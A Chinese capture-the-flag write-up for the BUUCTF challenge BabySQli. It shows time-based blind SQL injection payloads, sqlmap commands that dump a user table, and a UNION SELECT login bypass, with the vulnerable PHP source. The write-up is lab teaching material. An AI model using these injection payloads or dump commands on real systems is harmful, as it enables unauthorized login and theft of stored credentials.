BUUCTF——[GXYCTF2019]BabySQli
文章目录
- 利用点
- 解题
- 分析
- 完
利用点
- SQL字符型注入
- UNION SELECT联合查询特性
解题
search.php的注释发现hint
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
先base32再base64
select * from user where username = '$name'
明白了查询语句,先试试admin
提示密码错误,证明是有这个用户的,因此可以通过注入查到admin的密码,登录应该就能拿到flag了
[POST]
name=admin&pw=123456[response]
wrong pass!
尝试字符型注入,时间盲注可以成功
[POST]
name=1'||if(1=1,sleep(5),0)%23&pw=1
这里偷懒了,用sqlmap爆一下数据
>sqlmap -u http://03e43d54-5149-43dc-b801-e776b555f1e0.node3.buuoj.cn --form -D web_sqli -T user -C username,passwd --dump --batch[1 entry]
+----------+----------------------------------+
| username | passwd |
+----------+----------------------------------+
| admin | cdc9c819c7f8be2628d4180669009d28 |
+----------+----------------------------------+
密码被md5加密了,而且碰撞也失败了
可以借助UNION SELECT联合查询的特性,新加一条不存在的数据,通过自定义密码,绕过登录
SELECT * FROM `union_test` WHERE name="" UNION SELECT "admin","hacked" #
原理是:首先示例表有两列name和pd,select * 查询它们,由于WHERE name置空,查不到数据只会有个空表,但是有列名
之后按顺序UNION SELECT,就会插入不存在的数据
查一下有几列
>sqlmap -u http://03e43d54-5149-43dc-b801-e776b555f1e0.node3.buuoj.cn --form -D web_sqli -T user --columns --batch[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| passwd | varchar(32) |
| username | varchar(20) |
+----------+-------------+
原表结构第二列是username,第三列是passwd
构建一行id=1 & username=admin & passwd=md5(123)
,然后用123
就能完成登陆了,拿到flag
[POST]
name='UNION SELECT 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123
这里相当于是把原密码覆盖了,而本身数据库表内容是没变的,只是UNION SELECT虚拟出来的表
分析
GXY_CTF/search.php at master · imagin-sch/GXY_CTF(github.com)
很清晰,注入有过滤,通过$name拼接UNION SELECT
,返回的mysqli_fetch_row($result)
就是我们插入的数据,然后通过验证登录成功
<?php$name = $_POST['name'];$password = $_POST['pw'];# 对传入的密码 md5$t_pw = md5($password);$sql = "select * from user where username = '".$name."'";// echo $sql;$result = mysqli_query($con, $sql);# 过滤括号、=、orif(preg_match("/\(|\)|\=|or/", $name)){die("do not hack me!");}else{if (!$result) {printf("Error: %s\n", mysqli_error($con));exit();}else{// echo '<pre>';# 获取单行结果$arr = mysqli_fetch_row($result);// print_r($arr);# 第二个元素是usernameif($arr[1] == "admin"){# 第三个元素是passwdif(md5($password) == $arr[2]){echo $flag;}else{# 密码错了、用户名对了die("wrong pass!");}}else{# 无此用户die("wrong user!");}}}
完
BUUCTF——[GXYCTF2019]BabySQli相关推荐
- BUUCTF | [GXYCTF2019]BabySQli
BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...
- BUUCTF [GXYCTF2019]BabySQli 1
刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!# 打开容器 就单单两个输入栏,,多少有点简陋 看标签叫Do you know who am I?看来是要用,先用万能 ...
- buuctf [GXYCTF2019]BabySQli
今日份习题 名字叫babysqli 主界面是一个登陆页面,看起来好像不难的亚子 开搞! 通过尝试发现or,=,()都被过滤了 输入的时候,一个是wrong user,一个是wrong pass,尝试抓 ...
- buuctf [GXYCTF2019]BabySQli
常规sql注入都行不通,查看源码发现一个search.php, 先说说base32 和 base64 的区别, base32 只有大写字母和数字数字组成,或者后面有三个等号. base64 只有大写字 ...
- [ buuctf GXYCTF2019]BabySQli
输入账户 密码 后查看源代码 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VS ...
- BUUCTF[GXYCTF2019]BabySQli
SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码: <meta http-equiv="Content-Type" content=&qu ...
- BUUCTF:[GXYCTF2019]BabySQli
打开靶机 是一个登录框.右键看一下源码. 可以看到是以post方法传参.感觉像时间盲注.随便输入一个用户名和密码,然后bp抓包. 我们把这个页面全部复制,创建一个txt文件粘贴进去. 把这个文件托进k ...
- BUUCTF [GXYCTF2019] 禁止套娃
题目分析 这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...
- buuctf[GXYCTF2019]Ping Ping Ping
buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=? 应该是提示用get的方式来传参一个地址执行p ...
最新文章
- 3次握手中的最后一个ACK服务端收到了吗
- 易企秀更换模板里的音乐_易企秀黄金:探索中国 SaaS 企业走向成功的路径
- Ubuntu12.04安装中文字体,解决导出图片乱码
- mysql 经典问题_mysql经典排名问题
- ASP.Net Core 2.0中的Razor Page不是WebForm
- 前端学习(1605):组件传值
- Selenium两万字大题库
- RuoYi-Cloud 部署篇_01(linux环境 Oracle +nginx版本)
- oracle 循环继续,oracle – 是否可以继续从异常循环?
- 更具时尚感的服饰购物APP设计灵感!
- html5移动端开发(rem和媒体查询@media)
- Java编程:排序算法——基数排序
- maven下手动导入ojdbc6.jar
- c语言二级选择题APP,C语言二级题库
- 微信多开脚本2.0 批处理bat,可一键关闭微信
- java不使用科学计数法_java不用科学计数法
- S.O.L.I.D 是面向对象设计(OOD)和面向对象编程(OOP)中的几个重要编码原则
- 实时可视化大数据项目02 -- 项目目录介绍
- 新博立,存此证-关于可用性的理解
- 完美世界发布2020业绩预告:游戏净利润预增20%
热门文章
- 2022年电子商务设计师备考指南
- 51 计算器实例 按键和液晶,组成最简易的计算器
- 参加计算机知识竞赛新闻稿,铁道校区大学生计算机知识竞赛圆满结束
- 计算机主机启动不了系统安装,电脑开机后进不了系统只是在运行怎么办 电脑开机进不了系统原因【图文】...
- Linux学习(2)----一些操作
- SSD对HADOOP集群性能提升 调研及测试计划
- PHP去除文章的html格式
- qt 工具栏显示图标和文字_菜单和工具条上图标显示不了,为什么?
- solidworks学习记录(等距实体命令))
- 华为抢占别人商标鸿蒙,华为鸿蒙商标被驳回?多年努力为他人做嫁衣,只能向现实低头吗?...